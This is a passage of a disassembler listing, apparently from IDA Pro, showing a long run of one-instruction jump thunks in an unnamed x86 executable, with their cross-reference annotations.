sub_40B210 sub_4017EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: sub_406890+205p jmp sub_41B820 sub_4017F3 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: ___:00426A13p jmp sub_426A40 sub_4017FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401802 proc near ; CODE XREF: sub_41E660+FFp ; sub_41E660+179p ... jmp sub_421A80 sub_401802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: sub_40A110+7p jmp sub_40A130 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40180C proc near ; CODE XREF: sub_40B430+76p jmp sub_40B390 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: ___:00423E93p ; DATA XREF: ___:off_44444Co jmp sub_425020 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401816 proc near ; CODE XREF: sub_41E660+18Ep ; ___:0043B183j jmp sub_4218F0 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40181B proc near ; DATA XREF: ___:off_43E10Co jmp sub_426F20 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00416DDFp jmp sub_417DF0 sub_401820 endp ; --------------------------------------------------------------------------- jmp loc_42EC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; CODE XREF: sub_41E660+3BCp ; sub_4225B0+3p jmp sub_421C50 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: sub_4266A0+90p jmp sub_426960 sub_40182F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401834 proc near ; CODE XREF: ___:0042436Dp ; sub_424840+135p jmp sub_4243A0 sub_401834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_40BE40+3p ; ___:0040BF0Fp ... jmp sub_40C080 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_4070F0+36p ; sub_4070F0+72p ... jmp sub_407340 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401843 proc near ; CODE XREF: ___:00413181p jmp sub_415680 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: ___:0040B9D1p ; ___:0040BA98p ... jmp sub_412AA0 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: ___:00431FEFp ; ___:004320FFp ... jmp sub_431B30 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401852 proc near ; DATA XREF: ___:004322AAo ; ___:00432410o jmp sub_431BA0 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401857 proc near ; CODE XREF: sub_416360+7p jmp sub_416740 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: sub_418330+34p jmp sub_404C20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap ; sub_4034E0+9Ep ... jmp sub_409B40 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401866 proc near ; CODE XREF: sub_420530+152p jmp sub_4207A0 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: ___:0041A228p ; sub_41B010+3p ... jmp sub_41B040 sub_40186B endp ; --------------------------------------------------------------------------- jmp loc_429D70 ; --------------------------------------------------------------------------- jmp loc_41C0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:00416A4Bp ; ___:00439F6Cj ... jmp sub_416D10 sub_40187A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187F proc near ; CODE XREF: sub_40FF60+217p ; sub_41FD90+4Cp ... jmp sub_41FD50 sub_40187F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp jmp sub_428160 sub_401884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:0042C005p jmp sub_427DC0 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; DATA XREF: ___:0043E184o jmp sub_42A150 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp jmp sub_41AD30 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near jmp sub_432ED0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; CODE XREF: ___:004141C5p ; sub_414D40+1B2p jmp sub_413DA0 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p jmp sub_40A110 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp jmp sub_4203D0 sub_4018A7 endp ; --------------------------------------------------------------------------- jmp loc_431D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_40A910+14p jmp sub_40ABC0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_413510+B4p ; ___:00414B90p ... jmp sub_415620 sub_4018B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp ; sub_41A2B0+1B5p jmp sub_41AF60 sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: ___:004310DAp jmp sub_430A90 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp jmp sub_419030 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: ___:00416A9Bp ; ___:00439F26j ... jmp sub_4178F0 sub_4018CA endp ; --------------------------------------------------------------------------- jmp loc_419DD0 ; --------------------------------------------------------------------------- jmp sub_41A0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018D9 proc near ; CODE XREF: sub_41E660+46p jmp sub_4218B0 sub_4018D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018DE proc near ; CODE XREF: ___:0042C135p jmp sub_4299C0 sub_4018DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E3 proc near ; CODE XREF: sub_422130+7p jmp sub_422520 sub_4018E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p ; sub_422410+18p jmp sub_422590 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: sub_4221B0+8p jmp sub_422570 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p ; sub_4147D0+4Fp ... jmp sub_415730 sub_4018F2 endp ; --------------------------------------------------------------------------- jmp loc_430A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp jmp sub_421D50 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401901 proc near ; CODE XREF: sub_4218B0+11p ; sub_421D50+1Fp jmp sub_421E80 sub_401901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401906 proc near ; CODE XREF: sub_40B390+6Dp jmp sub_40BD90 sub_401906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_409450+13p jmp sub_409580 sub_40190B endp ; --------------------------------------------------------------------------- jmp loc_4365C0 ; --------------------------------------------------------------------------- jmp sub_41B010 ; --------------------------------------------------------------------------- loc_40191A: ; DATA XREF: ___:off_43E068o jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40191F proc near ; CODE XREF: ___:00413B31p jmp sub_4139B0 sub_40191F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401924 proc near ; CODE XREF: ___:00413193p ; sub_413220+32p jmp sub_4154D0 sub_401924 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401929 proc near ; CODE XREF: ___:00416B4Bp ; ___:00439E8Cj ... jmp sub_417020 sub_401929 endp ; --------------------------------------------------------------------------- jmp loc_4310A0 ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: sub_41C610+F1p ; sub_41C610+270p ... jmp sub_420E10 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_40A400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401942 proc near ; CODE XREF: sub_404C70+283p ; sub_40ED70+D2p ... jmp sub_40EF90 sub_401942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401947 proc near ; CODE XREF: sub_4218F0+34p ; sub_422240+67p jmp sub_421ED0 sub_401947 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40194C proc near ; CODE XREF: sub_404C70+BF7p jmp sub_4066E0 sub_40194C endp ; --------------------------------------------------------------------------- jmp loc_432360 ; --------------------------------------------------------------------------- loc_401956: ; DATA XREF: sub_41FC00+39o jmp loc_41FB30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: ___:0041A19Ep ; sub_41A2B0+Bp ... jmp sub_41A290 sub_40195B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401960 proc near ; CODE XREF: ___:0041AB86p ; ___:0041AC66p jmp sub_41A890 sub_401960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401965 proc near jmp sub_419220 sub_401965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: sub_411910+2Ep ; sub_411B10+3p jmp sub_411A50 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: sub_41E660+F5p ; sub_41E660+16Fp ... jmp sub_4219A0 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401974 proc near ; CODE XREF: sub_409450+4p ; sub_409600+1Fp ... jmp sub_409500 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near jmp sub_409A30 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41F860+20p ; sub_429AA0+37p jmp sub_41FE50 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_413510+4Ap ; ___:00414B3Fp ... jmp sub_415420 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near ; CODE XREF: sub_40A430+A8p jmp sub_40A850 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_40CBB0+41p jmp sub_40CE60 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: ___:00433405p ; ___:00433505p jmp sub_433160 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_4218F0+29p jmp sub_421DF0 sub_401997 endp ; --------------------------------------------------------------------------- jmp loc_42ECF0 ; --------------------------------------------------------------------------- jmp loc_42ECC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp ; sub_40A9F0+91p jmp sub_40A910 sub_4019A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019AB proc near ; CODE XREF: sub_422050+23p ; sub_422410+11p jmp sub_4225B0 sub_4019AB endp ; --------------------------------------------------------------------------- jmp loc_41AB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp ; ___:0040403Fp ... jmp sub_4034E0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422750+6p jmp sub_4227C0 sub_4019BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BF proc near ; DATA XREF: ___:off_43E050o jmp sub_416C30 sub_4019BF endp ; --------------------------------------------------------------------------- jmp sub_40FD70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019C9 proc near ; CODE XREF: sub_407410+4p jmp sub_407540 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; CODE XREF: ___:0040B629p ; ___:0040BA46p ... jmp sub_40B520 sub_4019CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p ; sub_40FF60+E6Ap jmp sub_411B10 sub_4019D3 endp ; --------------------------------------------------------------------------- jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp jmp sub_414640 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o jmp sub_42B880 sub_4019E2 endp ; --------------------------------------------------------------------------- loc_4019E7: ; DATA XREF: ___:off_43E0D0o jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_421A10+3p jmp sub_421F30 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp jmp sub_40B0B0 sub_4019F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F6 proc near jmp sub_4132E0 sub_4019F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_41E660+477p jmp sub_4200F0 sub_4019FB endp ; --------------------------------------------------------------------------- jmp loc_421850 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A05 proc near ; DATA XREF: ___:0043E124o jmp sub_427650 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A0A proc near jmp sub_411B40 sub_401A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0F proc near ; CODE XREF: sub_4331D0+92p jmp sub_430940 sub_401A0F endp ; --------------------------------------------------------------------------- jmp loc_427FC0 ; --------------------------------------------------------------------------- jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A1E proc near ; CODE XREF: sub_421DF0+32p jmp sub_422240 sub_401A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A23 proc near ; CODE XREF: ___:00416ADBp ; sub_416C30+3p ... jmp sub_416C00 sub_401A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A28 proc near ; CODE XREF: ___:00423A04p ; ___:004272F8p ... jmp sub_420D00 sub_401A28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A2D proc near ; CODE XREF: sub_422210+Ap jmp sub_422620 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00412ECFp ; ___:00412F84p ... jmp sub_404640 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: sub_409450+1Ap ; sub_409530+4p ... jmp sub_4094C0 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A3C proc near ; DATA XREF: ___:off_43E028o jmp sub_40FD70 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; DATA XREF: ___:0043E0E4o jmp sub_4266A0 sub_401A41 endp ; --------------------------------------------------------------------------- jmp loc_409D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep jmp sub_416550 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; CODE XREF: ___:0042F2F0p ; sub_430F00+36p ... jmp sub_430340 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep jmp sub_433900 sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5A proc near ; CODE XREF: sub_4149A0+3p jmp sub_4149D0 sub_401A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: ___:004081D0p ; ___:00408661p jmp sub_409490 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A64 proc near ; DATA XREF: ___:0043E0E0o ; ___:0043E0F0o ... jmp sub_4263D0 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp jmp sub_42C810 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_420530+191p ; sub_4227C0+3p ... jmp sub_4207C0 sub_401A6E endp ; --------------------------------------------------------------------------- jmp loc_42EFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A78 proc near ; CODE XREF: sub_4225E0+5p jmp sub_422750 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A7D proc near ; CODE XREF: ___:00416E4Ap jmp sub_418100 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_407220+5p ; sub_407310+6p ... jmp sub_407460 sub_401A82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A87 proc near ; CODE XREF: sub_4034E0+90p ; sub_404C70+40Fp ... jmp sub_40A6A0 sub_401A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp ; sub_41EF30+52Fp jmp sub_41FD90 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00431DCAp jmp sub_42F840 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A96 proc near ; CODE XREF: sub_415490+1Fp jmp sub_415DD0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p ; sub_409E70+Fp ... jmp sub_409DA0 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_431560+17p ; sub_431560+33p jmp sub_433710 sub_401AA0 endp ; --------------------------------------------------------------------------- jmp loc_433480 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_401AAF: ; DATA XREF: ___:off_43E0FCo jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p ; sub_424E90+120p jmp sub_424D40 sub_401AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB9 proc near ; DATA XREF: ___:off_43E034o jmp sub_411FE0 sub_401AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ABE proc near ; DATA XREF: ___:0041FB33o jmp sub_41FA90 sub_401ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp jmp sub_4072D0 sub_401AC3 endp ; --------------------------------------------------------------------------- jmp loc_432BA0 ; --------------------------------------------------------------------------- loc_401ACD: ; DATA XREF: ___:off_43E020o jmp loc_40B8D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp ; sub_403EE0+3Bp ... jmp sub_403D10 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_413510+66p ; sub_413510+CAp ... jmp sub_415650 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_41B780 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE1 proc near jmp sub_4227F0 sub_401AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp ; ___:00439EA8j ... jmp sub_40B170 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: ___:00421764p ; ___:0042179Ep jmp sub_4215D0 sub_401AEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p jmp sub_4070F0 sub_401AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo jmp sub_41A0E0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416F0Fp jmp sub_418900 sub_401AFA endp ; --------------------------------------------------------------------------- loc_401AFF: ; CODE XREF: ___:00438C76j jmp loc_40CAF0 ; --------------------------------------------------------------------------- loc_401B04: ; DATA XREF: ___:off_43E16Co jmp loc_429D70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B09 proc near ; CODE XREF: sub_416FB0+28p jmp sub_418890 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:004319E7p jmp sub_431A20 sub_401B0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp jmp sub_4303D0 sub_401B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B18 proc near jmp sub_40AEA0 sub_401B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B1D proc near ; CODE XREF: ___:00418C7Bp ; sub_418E90+28p ... jmp sub_418F50 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o jmp sub_42B4F0 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: ___:00416A7Bp ; ___:00439F42j ... jmp sub_4179D0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B2C proc near ; CODE XREF: ___:00408706p ; ___:00408727p ... jmp sub_407660 sub_401B2C endp ; --------------------------------------------------------------------------- jmp loc_414AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; CODE XREF: sub_41C610+83p ; sub_4282C0+3Fp jmp sub_41D540 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: sub_41A890+11p jmp sub_41A8C0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B40 proc near ; CODE XREF: sub_41E660+339p jmp sub_421C10 sub_401B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B45 proc near ; CODE XREF: sub_414C70+3p jmp sub_414CA0 sub_401B45 endp ; --------------------------------------------------------------------------- jmp loc_432CA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p jmp sub_42F540 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p ; ___:00439158j jmp sub_412BC0 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near jmp sub_40D580 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B5E proc near ; CODE XREF: sub_407660+3Bp ; sub_4076F0+43p jmp sub_40B430 sub_401B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_4072D0+3p jmp sub_4074A0 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B68 proc near ; CODE XREF: sub_424840+9Dp ; sub_424840+FBp ... jmp sub_4245F0 sub_401B68 endp ; --------------------------------------------------------------------------- loc_401B6D: ; DATA XREF: ___:off_43E084o jmp loc_425BD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B72 proc near ; CODE XREF: sub_40FF60+413p ; sub_40FF60+F69p ... jmp sub_409F60 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: ___:00425474p jmp sub_4254E0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B7C proc near ; CODE XREF: sub_422050+32p jmp sub_422410 sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p jmp sub_41A6D0 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_40BF60+23p ; sub_40C120+11p jmp sub_40C2C0 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:0042B833p jmp sub_42B860 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near jmp sub_41E140 sub_401B90 endp ; --------------------------------------------------------------------------- loc_401B95: ; DATA XREF: sub_42FF50+86o jmp loc_431650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_409530+20p jmp sub_409600 sub_401B9A endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o jmp sub_40CBB0 sub_401BA4 endp ; --------------------------------------------------------------------------- jmp loc_4309D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp jmp sub_421FB0 sub_401BAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BB3 proc near ; CODE XREF: sub_427520+39p jmp sub_4270E0 sub_401BB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; CODE XREF: sub_415730+5p ; sub_415930+6p ... jmp sub_416380 sub_401BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp ; sub_431730+3Ep jmp sub_4304D0 sub_401BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC2 proc near ; CODE XREF: ___:00432129p ; ___:0043214Ap ... jmp sub_430C00 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC7 proc near ; CODE XREF: ___:00425DA2p jmp sub_4269A0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_41B3D0+3p jmp sub_41B400 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_428220+3p jmp sub_428250 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: sub_422A40+924p ; ___:0042408Ap jmp sub_4258E0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: sub_42D2C0+18Dp ; sub_42D2C0+1CDp ... jmp sub_42DFD0 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE0 proc near ; CODE XREF: ___:0041426Cp jmp sub_414360 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE5 proc near jmp sub_40C360 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_425020+8Bp jmp sub_424840 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: 